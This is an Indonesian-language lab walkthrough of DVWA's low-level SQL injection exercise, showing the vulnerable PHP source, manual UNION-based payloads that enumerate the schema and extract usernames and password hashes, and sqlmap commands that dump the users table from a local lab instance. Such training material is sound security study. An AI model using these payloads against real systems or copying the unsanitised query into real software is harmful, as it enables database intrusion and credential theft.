Low

SQL Injection level Low on DVWA

Di bawah ini adalah source-code dari SQL Injection level low di DVWA.

vulnerabilities/sqli/source/low.php
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

Mencari Informasi

Terdapat form yang digunakan untuk memasukkan User ID. Jika saya coba inputkan '1', maka akan muncul seperti berikut:

Untuk mencari tahu apakah form ini memiliki celah SQL Injection, kita bisa mencobanya dengan meng-inputkan kutip satu (') .

Dan hasilnya akan terdapat error. Ini berarti kita bisa melakukan SQL Injection.

Jika anda bertanya kenapa hasilnya bisa error? Jawabanya adalah karena ketika kita menginputkan kutip satu, maka query yang dijalankan oleh server akan seperti berikut:

SELECT first_name, last_name FROM users WHERE user_id = ''';

Terlihat bahwa ada kutip satu yang tidak memiliki pasangannya, sehingga membuat query menjadi error.

Melakukan Serangan

Setelah ditentukan terdapat celah keamanan, kita coba inputkan payload berikut:

%' or '0' = '0

Sehingga hasil query yang dijalankan server adalah:

SELECT first_name, last_name FROM users WHERE user_id = '%' or '0' = '0';

Ini akan mengakibatkan semua record tersedia pada tabel tersebut akan ditampilkan.

Melihat Versi DBMS

Kita juga bisa memodifikasi payload-nya. Contohnya seperti berikut untuk melihat informasi versi DBMS yang digunakan.

%' or 0=0 union select null, version() #

Tanda# pada sql berfungsi untuk membuat komentar.

Sehingga hasil query yang dijalankan server adalah:

SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #';

Terlihat bahwa DBMS yang dipakai adalah MariaDB versi 10.1.26.

Melihat Tabel yang mengandung kata 'user'

%' or 0=0 UNION SELECT null, table_name FROM INFORMATION_SCHEMA.tables WHERE table_name LIKE 'user' #

Melihat Kolom dari Tabel 'users'

%' UNION SELECT null, column_name FROM INFORMATION_SCHEMA.columns WHERE table_name='users'#

Mendapatkan users dan password

%' UNION SELECT null, concat(user,0x0a,password) FROM users#

0x0a pada hexadesimal berarti 10, dan jika dirubah menjadi ASCII berarti newline (lihat di sini).

Menggunakan SQLMap

Jika kalian tidak mau bingung dengan query di atas, kita bisa menggunakan tool SQLMap.

Pertama-tama kita tentukan terlebih dahulu method yang digunakan. Pada kasus ini, method yang digunakan adalah GET. Dan endpoint pada kasus ini adalah:

http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#

Cek database yang tersedia:

Langsung saja kita jalankan SQLMap seperti berikut untuk mencari tahu database yang tersedia:

sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" --dbs

Keterangan:

  • -u digunakan untuk menentukan URL atau endpoint.

  • --cookie digunakan untuk menetukan cookie.

  • --dbs digunakan untuk melihat database yang tersedia.

Hasilnya terdapat 2 database yang tersedia, yaitu dvwa dan information_schema.

Cek daftar tabel dari database dvwa:

sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" -D dvwa --tables

Keterangan:

  • -D digunakan untuk menentukan database.

  • --tables untuk melihat daftar tabel dari database (-D).

Terdapat 2 tabel, yaitu guestbook dan users.

Cek kolom yang tersdia pada tabel users:

sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" -D dvwa -T users --columns

Keterangan:

  • -T adalah tabel yang digunakan dari database -D.

  • --columns adalah mencari kolom yang tersedia pada tabel -T.

Terlihat ada beberapa kolom yang tersedia, oke kita lanjut dengan melakukan dump pada data tersebut.

Dump tabel users:

sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" -D dvwa -T users --dump

Keterangan:

  • --dump akan meng-crack password yang di-hash. Anda akan ditanya apakah akan menggunakan dictionary yang ada di SQLMap atau dictionary kita sendiri.

Dan hasil nya adalah seperti gambar di atas.

Happy Hacking! 🍻

Last updated